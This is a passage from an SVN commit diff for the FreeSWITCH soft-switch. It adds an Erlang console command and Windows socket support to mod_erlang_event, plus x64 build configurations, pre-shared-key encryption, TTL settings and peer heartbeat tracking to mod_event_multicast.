+					switch_clear_flag_locked(session_element, LFLAG_SESSION_ALIVE);
+				} else {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "outbound session already done\n");
+				}
 			}
 		}
 	}
@@ -975,14 +1318,106 @@
 }
 
 
+/* 'erlang' console stuff */
+SWITCH_STANDARD_API(erlang_cmd)
+{
+	char *argv[1024] = { 0 };
+	int argc = 0;
+	char *mycmd = NULL;
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+
+	const char *usage_string = "USAGE:\n"
+		"--------------------------------------------------------------------------------\n"
+		"erlang listeners\n"
+		"erlang sessions <node_name>\n"
+		"--------------------------------------------------------------------------------\n";
+
+	if (switch_strlen_zero(cmd)) {
+		stream->write_function(stream, "%s", usage_string);
+		goto done;
+	}
+
+
+	if (!(mycmd = strdup(cmd))) {
+		status = SWITCH_STATUS_MEMERR;
+		goto done;
+	}
+
+	if (!(argc = switch_separate_string(mycmd, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
+		stream->write_function(stream, "%s", usage_string);
+		goto done;
+	}
+
+	if (!strcasecmp(argv[0], "listeners")) {
+
+		listener_t *l;
+		switch_mutex_lock(globals.listener_mutex);
+
+		if (listen_list.listeners) {
+			for (l = listen_list.listeners; l; l = l->next) {
+				stream->write_function(stream, "Listener to %s with %d outbound sessions\n", l->peer_nodename, count_listener_sessions(l));
+			}
+		} else {
+			stream->write_function(stream, "No active listeners\n");
+		}
+
+		switch_mutex_unlock(globals.listener_mutex);
+	} else if (!strcasecmp(argv[0], "sessions") && argc == 2) {
+		listener_t *l;
+		int found = 0;
+
+		switch_mutex_lock(globals.listener_mutex);
+		for (l = listen_list.listeners; l; l = l->next) {
+			if (!strcasecmp(l->peer_nodename, argv[1])) {
+				session_elem_t *sp;
+
+				found = 1;
+				switch_mutex_lock(l->session_mutex);
+				if ((sp = l->session_list)) {
+					while(sp) {
+						stream->write_function(stream, "Outbound session for %s\n", sp->uuid_str);
+						sp = sp->next;
+					}
+				} else {
+					stream->write_function(stream, "No active sessions for %s\n", argv[1]);
+				}
+				switch_mutex_unlock(l->session_mutex);
+				break;
+			}
+		}
+		switch_mutex_unlock(globals.listener_mutex);
+
+		if (!found)
+			stream->write_function(stream, "Could not find a listener for %s\n", argv[1]);
+
+	} else {
+		stream->write_function(stream, "I don't care for those arguments at all, sorry");
+		goto done;
+	}
+
+done:
+	switch_safe_free(mycmd);
+	return status;
+}
+
+
 SWITCH_MODULE_LOAD_FUNCTION(mod_erlang_event_load)
 {
 	switch_application_interface_t *app_interface;
-
+	switch_api_interface_t *api_interface;
+	
+	memset(&prefs, 0, sizeof(prefs));
+	
 	switch_mutex_init(&globals.listener_mutex, SWITCH_MUTEX_NESTED, pool);
+	
+	/* intialize the unique reference stuff */
+	switch_mutex_init(&globals.ref_mutex, SWITCH_MUTEX_NESTED, pool);
+	globals.reference0 = 0;
+	globals.reference1 = 0;
+	globals.reference2 = 0;
 
 	if (switch_event_bind_removable(modname, SWITCH_EVENT_ALL, SWITCH_EVENT_SUBCLASS_ANY, event_handler, NULL, &globals.node) != SWITCH_STATUS_SUCCESS) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind to all events!\n");
 		close_socket(&listen_list.sockfd);
 		return SWITCH_STATUS_GENERR;
 	}
@@ -991,8 +1426,8 @@
 
 	memset(&bindings, 0, sizeof(bindings));
 
-	if (switch_xml_bind_search_function_ret(erlang_fetch, (1 << sizeof(switch_xml_section_enum_t)), NULL, &bindings.search_binding) != SWITCH_STATUS_SUCCESS) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
+	if (switch_xml_bind_search_function_ret(erlang_fetch, SWITCH_XML_SECTION_MAX, NULL, &bindings.search_binding) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't set up xml search bindings!\n");
 		close_socket(&listen_list.sockfd);
 		return SWITCH_STATUS_GENERR;
 	}
@@ -1003,6 +1438,8 @@
 	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
 
 	SWITCH_ADD_APP(app_interface, "erlang", "Connect to an erlang node", "Connect to erlang", erlang_outbound_function, "<registered name> <node@host>", SAF_SUPPORT_NOMEDIA);
+	SWITCH_ADD_API(api_interface, "erlang", "PortAudio", erlang_cmd, "<command> [<args>]");
+	switch_console_set_complete("add erlang listeners");
 
 	/* indicate that the module should continue to be loaded */
 	return SWITCH_STATUS_SUCCESS;
@@ -1021,7 +1458,24 @@
 	int on = 1;
 	int clientfd;
 	int epmdfd;
+#ifdef WIN32
+	/* borrowed from MSDN, stupid winsock */
+	WORD wVersionRequested;
+	WSADATA wsaData;
 
+	wVersionRequested = MAKEWORD(2, 2);
+	
+	if (WSAStartup(wVersionRequested, &wsaData) != 0) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Winsock initialization failed, oh well\n");
+		return SWITCH_STATUS_TERM;
+	}
+
+	if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Your winsock version doesn't support the 2.2 specification, bailing\n");
+		return SWITCH_STATUS_TERM;
+	}
+#endif
+
 	memset(&listen_list, 0, sizeof(listen_list));
 	config();
 
@@ -1036,13 +1490,13 @@
 	memset(&server_addr, 0, sizeof(server_addr));
 
 	/* convert the configured IP to network byte order, handing errors */
-	rv = inet_pton(AF_INET, prefs.ip, &server_addr.sin_addr.s_addr);
+	rv = switch_inet_pton(AF_INET, prefs.ip, &server_addr.sin_addr.s_addr);
 	if (rv == 0) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not parse invalid ip address: %s\n", prefs.ip);
-		return SWITCH_STATUS_GENERR;
+		goto init_failed;
 	} else if (rv == -1) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error when parsing ip address %s : %s\n", prefs.ip, strerror(errno));
-		return SWITCH_STATUS_GENERR;
+		goto init_failed;
 	}
 
 	/* set the address family and port */
@@ -1057,7 +1511,11 @@
 			goto sock_fail;
 		}
 
+#ifdef WIN32
+		if (setsockopt(listen_list.sockfd, SOL_SOCKET, SO_REUSEADDR, (const char *)&on, sizeof(on))) {
+#else
 		if (setsockopt(listen_list.sockfd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on))) {
+#endif
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to enable SO_REUSEADDR for socket on %s:%u : %s\n", prefs.ip, prefs.port, strerror(errno));
 			goto sock_fail;
 		}
@@ -1072,7 +1530,7 @@
 			goto sock_fail;
 		}
 
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Socket up listening on %s:%u\n", prefs.ip, prefs.port);
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Socket %d up listening on %s:%u\n", listen_list.sockfd, prefs.ip, prefs.port);
 		break;
 	  sock_fail:
 		switch_yield(100000);
@@ -1080,26 +1538,24 @@
 
 	if (SWITCH_STATUS_SUCCESS!=initialise_ei(&ec)) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to init ei connection\n");
-		close_socket(&listen_list.sockfd);
-		return SWITCH_STATUS_GENERR;
+		goto init_failed;
 	}
 
 	/* return value is -1 for error, a descriptor pointing to epmd otherwise */
 	if ((epmdfd = ei_publish(&ec, prefs.port)) == -1) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Failed to publish port to empd, trying to start empd manually\n");
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Failed to publish port to empd, trying to start empd via system()\n");
 		if (system("epmd -daemon")) {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to start empd manually\n");
-			close_socket(&listen_list.sockfd);
-			return SWITCH_STATUS_GENERR;
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to start empd manually! Is epmd in $PATH? If not, start it yourself or run an erl shell with -sname or -name\n");
+			goto init_failed;
 		}
+		switch_yield(100000);
 		if ((epmdfd = ei_publish(&ec, prefs.port)) == -1) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to publish port to empd AGAIN\n");
-			close_socket(&listen_list.sockfd);
-			return SWITCH_STATUS_GENERR;
+			goto init_failed;
 		}
 	}
 
-	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Connected and published erlang cnode\n");
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Connected to epmd and published erlang cnode at %s\n", ec.thisnodename);
 
 	listen_list.ready = 1;
 
@@ -1107,14 +1563,23 @@
 		/* zero out errno because ei_accept doesn't differentiate between a
 		 * failed authentication or a socket failure, or a client version
 		 * mismatch or a godzilla attack */
+#ifdef WIN32
+		WSASetLastError(0);
+#else
 		errno = 0;
-		if ((clientfd = ei_accept_tmo(&ec, listen_list.sockfd, &conn, 100)) == ERL_ERROR) {
+#endif
+		if ((clientfd = ei_accept_tmo(&ec, (int)listen_list.sockfd, &conn, 100)) == ERL_ERROR) {
 			if (prefs.done) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Shutting Down\n");
 			} else if (erl_errno == ETIMEDOUT) {
 				continue;
+#ifdef WIN32
+			} else if (WSAGetLastError()) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Socket Error %d %d\n", erl_errno, WSAGetLastError());
+#else
 			} else if (errno) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Socket Error %d %d\n", erl_errno, errno);
+#endif
 			} else {
 				/* if errno didn't get set, assume nothing *too* horrible occured */
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE,
@@ -1127,7 +1592,7 @@
 		listener = new_listener(&ec,clientfd);
 		if (listener) {
 			/* store the IP and node name we are talking with */
-			inet_ntop(AF_INET, conn.ipadr, listener->remote_ip, sizeof(listener->remote_ip));
+			switch_inet_ntop(AF_INET, conn.ipadr, listener->remote_ip, sizeof(listener->remote_ip));
 			listener->peer_nodename = switch_core_strdup(listener->pool,conn.nodename);
 
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Launching listener, connection from node %s, ip %s\n", conn.nodename, listener->remote_ip);
@@ -1142,8 +1607,9 @@
 
 	/* cleanup epmd registration */
 	ei_unpublish(&ec);
-	close(epmdfd);
+	close_socket(&epmdfd);
 
+init_failed:
 	close_socket(&listen_list.sockfd);
 	if (pool) {
 		switch_core_destroy_memory_pool(&pool);
@@ -1165,7 +1631,8 @@
 	listener_t *l;
 	int sanity = 0;
 
-	prefs.done = 1;
+	if (prefs.done == 0) /* main thread might already have exited */
+		prefs.done = 1;
 
 	switch_log_unbind_logger(socket_logger);
 
@@ -1187,10 +1654,18 @@
 		close_socket(&l->sockfd);
 	}
 
+#ifdef WIN32
+	WSACleanup();
+#endif
+
 	switch_mutex_unlock(globals.listener_mutex);
 
 	switch_sleep(1500000); /* sleep for 1.5 seconds */
 
+	switch_safe_free(prefs.ip);
+	switch_safe_free(prefs.cookie);
+	switch_safe_free(prefs.nodename);
+
 	return SWITCH_STATUS_SUCCESS;
 }
 

Modified: freeswitch/branches/seven/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.h (14471 => 14472)


--- freeswitch/branches/seven/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Andrew Thompson <andrew@hijacked.us>
  * Rob Charlton <rob.charlton@savageminds.com>
  *
@@ -32,10 +32,10 @@
  *
  */
 
-
 typedef enum {
-	LFLAG_OUTBOUND_INIT = (1 << 0), /* Erlang peer has been notified of this session */
-	LFLAG_SESSION_ALIVE
+	LFLAG_WAITING_FOR_PID = (1 << 0), /* waiting for a node to return a pid */
+	LFLAG_OUTBOUND_INIT = (1 << 1), /* Erlang peer has been notified of this session */
+	LFLAG_SESSION_ALIVE = (1 << 2),
 } session_flag_t;
 
 typedef enum {
@@ -43,6 +43,11 @@
 	ERLANG_REG_PROCESS
 } process_type;
 
+typedef enum {
+	ERLANG_STRING = 0,
+	ERLANG_BINARY
+} erlang_encoding_t;
+
 struct erlang_process {
 	process_type type;
 	char *reg_name;
@@ -50,12 +55,12 @@
 };
 
 struct session_elem {
-	switch_core_session_t *session;
+	char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
 	switch_mutex_t *flag_mutex;
 	uint32_t flags;
-	/* registered process name that will receive call notifications from this session */
 	struct erlang_process process;
 	switch_queue_t *event_queue;
+	switch_channel_state_t channel_state;
 	struct session_elem *next;
 };
 
@@ -77,7 +82,11 @@
    5 call sessions will be "attached" to the same listener.
  */
 struct listener {
+#ifdef WIN32
+	SOCKET sockfd;
+#else
 	int sockfd;
+#endif
 	struct ei_cnode_s *ec;
 	struct erlang_process log_process;
 	struct erlang_process event_process;
@@ -93,6 +102,7 @@
 	uint8_t event_list[SWITCH_EVENT_ALL + 1];
 	switch_hash_t *event_hash;
 	switch_hash_t *fetch_reply_hash;
+	switch_hash_t *spawn_pid_hash;
 	switch_thread_rwlock_t *rwlock;
 	switch_mutex_t *session_mutex;
 	session_elem_t *session_list;
@@ -128,11 +138,21 @@
 struct globals_struct {
 	switch_mutex_t *listener_mutex;
 	switch_event_node_t *node;
+	unsigned int reference0;
+	unsigned int reference1;
+	unsigned int reference2;
+	char TIMEOUT; /* marker for a timed out request */
+	char WAITING; /* marker for a request waiting for a response */
+	switch_mutex_t *ref_mutex;
 };
 typedef struct globals_struct globals_t;
 
 struct listen_list_struct {
+#ifdef WIN32
+	SOCKET sockfd;
+#else
 	int sockfd;
+#endif
 	switch_mutex_t *sock_mutex;
 	listener_t *listeners;
 	uint8_t ready;
@@ -158,6 +178,7 @@
 	char *acl[MAX_ACL];
 	uint32_t acl_count;
 	uint32_t id;
+	erlang_encoding_t encoding;
 };
 typedef struct prefs_struct prefs_t;
 
@@ -182,11 +203,36 @@
 void ei_link(listener_t *listener, erlang_pid *from, erlang_pid *to);
 void ei_encode_switch_event_headers(ei_x_buff *ebuf, switch_event_t *event);
 void ei_encode_switch_event_tag(ei_x_buff *ebuf, switch_event_t *event, char *tag);
+int ei_pid_from_rpc(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, char *function);
+int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, char *function, int argc, char **argv);
+void ei_init_ref(struct ei_cnode_s *ec, erlang_ref *ref);
+void ei_x_print_reg_msg(ei_x_buff *buf, char *dest, int send);
+void ei_x_print_msg(ei_x_buff *buf, erlang_pid *pid, int send);
+int ei_sendto(ei_cnode *ec, int fd, struct erlang_process *process, ei_x_buff *buf);
+void ei_hash_ref(erlang_ref *ref, char *output);
+int ei_compare_pids(erlang_pid *pid1, erlang_pid *pid2);
+int ei_decode_string_or_binary(char *buf, int *index, int maxlen, char *dst);
 switch_status_t initialise_ei(struct ei_cnode_s *ec);
 #define ei_encode_switch_event(_b, _e) ei_encode_switch_event_tag(_b, _e, "event")
 
+/* crazy macro for toggling encoding type */
+#define _ei_x_encode_string(buf, string) switch (prefs.encoding) { \
+	case ERLANG_BINARY: \
+		ei_x_encode_binary(buf, string, strlen(string)); \
+		break; \
+	default: \
+		ei_x_encode_string(buf, string); \
+		break; \
+}
+
+#ifdef WIN32 /* MSDN suggested hack to fake errno for network operations */
+/*#define errno WSAGetLastError()*/
+#endif
+
 /* mod_erlang_event.c */
-session_elem_t* attach_call_to_listener(listener_t* listener, char* reg_name, switch_core_session_t *session);
+session_elem_t* attach_call_to_registered_process(listener_t* listener, char* reg_name, switch_core_session_t *session);
+session_elem_t* attach_call_to_pid(listener_t* listener, erlang_pid* pid, switch_core_session_t *session);
+session_elem_t* attach_call_to_spawned_process(listener_t* listener, char *module, char *function, switch_core_session_t *session);
 
 /* For Emacs:
  * Local Variables:

Property changes: freeswitch/branches/seven/src/mod/event_handlers/mod_event_multicast


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile
debug
Win32
x64

Copied: freeswitch/branches/seven/src/mod/event_handlers/mod_event_multicast/Makefile (from rev 14471, freeswitch/trunk/src/mod/event_handlers/mod_event_multicast/Makefile) (0 => 14472)


--- freeswitch/branches/seven/src/mod/event_handlers/mod_event_multicast/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/event_handlers/mod_event_multicast/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,5 @@
+
+LOCAL_CFLAGS= $(OPENSSL_CFLAGS)
+LOCAL_LDLAGS= $(OPENSSL_LIBS)
+
+include ../../../../build/modmake.rules

Modified: freeswitch/branches/seven/src/mod/event_handlers/mod_event_multicast/mod_event_multicast.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/event_handlers/mod_event_multicast/mod_event_multicast.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/event_handlers/mod_event_multicast/mod_event_multicast.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -79,6 +82,71 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="ws2_32.lib"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -140,6 +208,71 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="ws2_32.lib"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/event_handlers/mod_event_multicast/mod_event_multicast.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/event_handlers/mod_event_multicast/mod_event_multicast.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/event_handlers/mod_event_multicast/mod_event_multicast.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,22 +17,27 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_event_multicast.c -- Multicast Events
  *
  */
+#ifdef HAVE_OPENSSL
+#include <openssl/evp.h>
+#endif
 #include <switch.h>
 
 #define MULTICAST_BUFFSIZE 65536
 
+/* magic byte sequence */
+static unsigned char MAGIC[] = {226, 132, 177, 197, 152, 198, 142, 211, 172, 197, 158, 208, 169, 208, 135, 197, 166, 207, 154, 196, 166};
 static char *MARKER = "1";
 
 SWITCH_MODULE_LOAD_FUNCTION(mod_event_multicast_load);
@@ -55,11 +60,25 @@
 	uint8_t event_list[SWITCH_EVENT_ALL + 1];
 	int running;
 	switch_event_node_t *node;
+	uint8_t ttl;
+	char *psk;
+	switch_mutex_t *mutex;
+	switch_hash_t *peer_hash;
 } globals;
 
+struct peer_status {
+	switch_bool_t active;
+	time_t lastseen;
+};
+
 SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_address, globals.address);
 SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_bindings, globals.bindings);
+#ifdef HAVE_OPENSSL
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_psk, globals.psk);
+#endif
 #define MULTICAST_EVENT "multicast::event"
+#define MULTICAST_PEERUP "multicast::peerup"
+#define MULTICAST_PEERDOWN "multicast::peerdown"
 static switch_status_t load_config(void)
 {
 	switch_status_t status = SWITCH_STATUS_SUCCESS;
@@ -68,10 +87,9 @@
 	char *next, *cur;
 	uint32_t count = 0;
 	uint8_t custom = 0;
-	switch_ssize_t hlen = -1;
 
-	gethostname(globals.hostname, sizeof(globals.hostname));
-	globals.host_hash = switch_hashfunc_default(globals.hostname, &hlen);
+	
+	globals.ttl = 1;
 	globals.key_count = 0;
 
 	if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
@@ -79,10 +97,6 @@
 		return SWITCH_STATUS_TERM;
 	}
 
-	if (switch_event_reserve_subclass(MULTICAST_EVENT) != SWITCH_STATUS_SUCCESS) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't register subclass!\n");
-		return SWITCH_STATUS_GENERR;
-	}
 
 	if ((settings = switch_xml_child(cfg, "settings"))) {
 		for (param = switch_xml_child(settings, "param"); param; param = param->next) {
@@ -95,7 +109,21 @@
 				set_global_bindings(val);
 			} else if (!strcasecmp(var, "port")) {
 				globals.port = (switch_port_t) atoi(val);
+			} else if (!strcasecmp(var, "psk")) {
+#ifdef HAVE_OPENSSL
+				set_global_psk(val);
+#else
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Cannot use pre shared key encryption without OpenSSL support\n");
+#endif
+			} else if (!strcasecmp(var, "ttl")) {
+				int ttl = atoi(val);
+				if ((ttl && ttl <= 255)  || !strcmp(val, "0")) {
+					globals.ttl = (uint8_t) ttl;
+				} else {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid ttl '%s' specified, using default of 1\n", val);
+				}
 			}
+
 		}
 	}
 
@@ -148,11 +176,100 @@
 		return;
 	}
 
-	if (event->subclass_name && !strcmp(event->subclass_name, MULTICAST_EVENT)) {
+	if (event->subclass_name && (!strcmp(event->subclass_name, MULTICAST_EVENT) ||
+				!strcmp(event->subclass_name, MULTICAST_PEERUP) ||
+				!strcmp(event->subclass_name, MULTICAST_PEERDOWN))) {
+		char * event_name, *sender;
+		if ((event_name = switch_event_get_header(event, "orig-event-name")) &&
+			!strcasecmp(event_name, "HEARTBEAT") && 
+			(sender = switch_event_get_header(event, "orig-multicast-sender"))) {
+			struct peer_status *p;
+			time_t now = switch_epoch_time_now(NULL);
+			
+			if (!(p = switch_core_hash_find(globals.peer_hash, sender))) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Host %s not already in hash\n", sender);
+				p = switch_core_alloc(module_pool, sizeof(struct peer_status));
+				p->active = SWITCH_FALSE;
+				p->lastseen = 0;
+			/*} else {*/
+				/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Host %s last seen %d seconds ago\n", sender, now - p->lastseen);*/
+			}
+
+			if (!p->active) {
+				switch_event_t *local_event;
+				if (switch_event_create_subclass(&local_event, SWITCH_EVENT_CUSTOM, MULTICAST_PEERUP) == SWITCH_STATUS_SUCCESS) {
+					char lastseen[21];
+					switch_event_add_header_string(local_event, SWITCH_STACK_BOTTOM, "Peer", sender);
+					if (p->lastseen) {
+						switch_snprintf(lastseen, sizeof(lastseen), "%d", (int)p->lastseen);
+					} else {
+						switch_snprintf(lastseen, sizeof(lastseen), "%s", "Never");
+					}
+					switch_event_add_header_string(local_event, SWITCH_STACK_BOTTOM, "Lastseen", lastseen);
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Peer %s has come up; last seen: %s\n", sender, lastseen);
+
+					switch_event_fire(&local_event);
+				}
+			}
+			p->active = SWITCH_TRUE;
+			p->lastseen = now;
+
+			switch_core_hash_insert(globals.peer_hash, sender, p);
+		}
+
 		/* ignore our own events to avoid ping pong */
 		return;
 	}
 
+	if (event->event_id == SWITCH_EVENT_RELOADXML) {
+		switch_mutex_lock(globals.mutex);
+		switch_core_hash_destroy(&globals.event_hash);
+		globals.event_hash = NULL;
+		if (globals.psk) {
+			switch_safe_free(globals.psk);
+			globals.psk = NULL;
+		}
+		switch_core_hash_init(&globals.event_hash, module_pool);
+		memset(globals.event_list, 0, SWITCH_EVENT_ALL + 1);
+		if (load_config() != SWITCH_STATUS_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Failed to reload config file\n");
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Event Multicast Reloaded\n");
+		}
+		switch_mutex_unlock(globals.mutex);
+	}
+
+	if (event->event_id == SWITCH_EVENT_HEARTBEAT) {
+		switch_hash_index_t *cur;
+		switch_ssize_t keylen;
+		const void *key;
+		void *value;
+		time_t now = switch_epoch_time_now(NULL);
+		struct peer_status *last;
+		char *host;
+		
+		for (cur = switch_hash_first(NULL, globals.peer_hash); cur; cur = switch_hash_next(cur)) {
+			switch_hash_this(cur, &key, &keylen, &value);
+			host = (char*) key;
+			last = (struct peer_status*) value;
+			if (last->active && (now - (last->lastseen)) > 60) {
+				switch_event_t *local_event;
+
+				last->active = SWITCH_FALSE;
